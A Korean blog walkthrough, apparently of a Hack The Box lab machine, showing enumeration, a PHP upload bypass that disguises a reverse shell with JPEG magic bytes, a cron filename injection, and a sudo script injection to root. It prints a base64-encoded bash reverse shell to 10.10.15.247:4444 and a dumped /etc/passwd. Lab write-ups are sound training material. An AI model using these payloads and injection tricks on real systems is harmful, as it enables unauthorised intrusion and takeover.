정보 수집 (Enumeration)
rustscan으로 열린 포트를 빠르게 스캔한다.
rustscan -a 10.129.54.177 -- -sC -sV -oN nmap

주요 포트는 22(SSH), 80(HTTP)이다. 80번 포트에 접속하면 기본 웹페이지가 나타난다.

gobuster로 숨겨진 디렉터리를 탐색한다.
gobuster dir -u http://10.129.54.177/ -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster

gobuster 결과 /backup과 /uploads 경로가 발견된다.

backup.tar를 다운로드해 압축을 풀면 upload.php, lib.php 등 소스코드를 확인할 수 있다.

upload.php의 소스코드이다. check_file_type() 함수를 사용해 MIME 타입과 확장자를 검증한다.

check_file_type() 함수는 lib.php에 존재한다. mime_content_type()으로 MIME 타입만 검사하고 파일 실제 내용은 검증하지 않는다.

photos.php에서는 업로드된 파일의 리스트를 볼 수 있다. 현재 기본 파일의 리스트이다.

사진 업로드 폼 페이지(upload.php)다. 해당 페이지에서 사진 파일을 업로드할 수 있다.

만약 파일의 업로드에 성공할 경우 다음과 같은 메시지가 표시된다.

photos.php에서 업로드된 이미지 목록을 확인할 수 있다.

초기 침투 (RCE) — 파일 업로드 우회 → apache
앞서 MIME 타입만 검사하는 것을 확인했으므로, JPEG 매직 바이트를 활용해 파일을 위장하면 이 검증을 우회할 수 있다. JPEG 파일 포맷은 매직 바이트 FF D8 FF E0로 시작하므로, PHP 리버스 쉘 앞에 이 바이트를 붙여 .php.jpeg 확장자로 저장하면 서버는 이를 이미지로 허용하지만 PHP 인터프리터가 파일을 실행한다. 업로드 후 /uploads 경로로 직접 접근해 PHP를 트리거한다.
이제 실제로 쉘코드를 제작해보자. PHP 쉘코드는 해당 경로의 쉘코드를 사용하였다.
echo 'ff d8 ff e0 00' | xxd -p -r > simple-backdoor.php.jpeg
cat simple.php >> simple-backdoor.php.jpeg

완성된 리버스 쉘이다.

JPEG 매직 바이트로 위장한 PHP 파일을 업로드하면 성공 메시지가 출력된다.


nc 리스너를 열어둔 상태에서 업로드된 파일에 즉시 접근해 리버스 쉘을 트리거한다.

리버스 쉘이 연결되어 apache 쉘을 획득했다.

/etc/passwd를 확인해 시스템에 등록된 계정을 파악한다. guly (uid 1000) 계정이 존재함을 확인할 수 있다.
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
guly:x:1000:1000:guly:/home/guly:/bin/bash
saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
권한 이동 — cron 파일명 인젝션 → guly



리버스 쉘 명령을 base64로 인코딩한 후, 세미콜론(;)으로 구분된 명령이 담긴 파일명을 touch로 /var/www/html/uploads에 생성한다.
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.15.247/4444 0>&1'" | base64
# YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNDcvNDQ0NCAwPiYxJw==
touch "a; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNDcvNDQ0NCAwPiYxJw== | base64 -d | bash"

nc 리스너를 열어둔 상태에서 3분 후 cron이 트리거되면 check_attack.php가 이 파일명을 exec()로 실행해 리버스 쉘이 연결된다.

권한 상승 (LPE) — changename.sh 인젝션 → root
guly 쉘에서 sudo -l을 확인하면 /usr/local/sbin/changename.sh를 root 권한으로 비밀번호 없이 실행할 수 있다.

스크립트는 사용자 입력을 받아 /etc/sysconfig/network-scripts/ifcfg-guly 파일에 키=값 형태로 작성한 후 ifup guly0를 호출한다.

공백이 포함된 값을 입력하면 공백 이후의 문자열이 root로 실행되어 root 쉘이 떨어진다.

'HTB' 카테고리의 다른 글
| HTB - Keeper (0) | 2026.08.17 |
|---|---|
| HTB - Soccer (0) | 2026.08.16 |
| HTB - Broker (0) | 2026.07.30 |
| HTB - Servmon (0) | 2026.07.22 |
| HTB - Help (0) | 2026.07.18 |
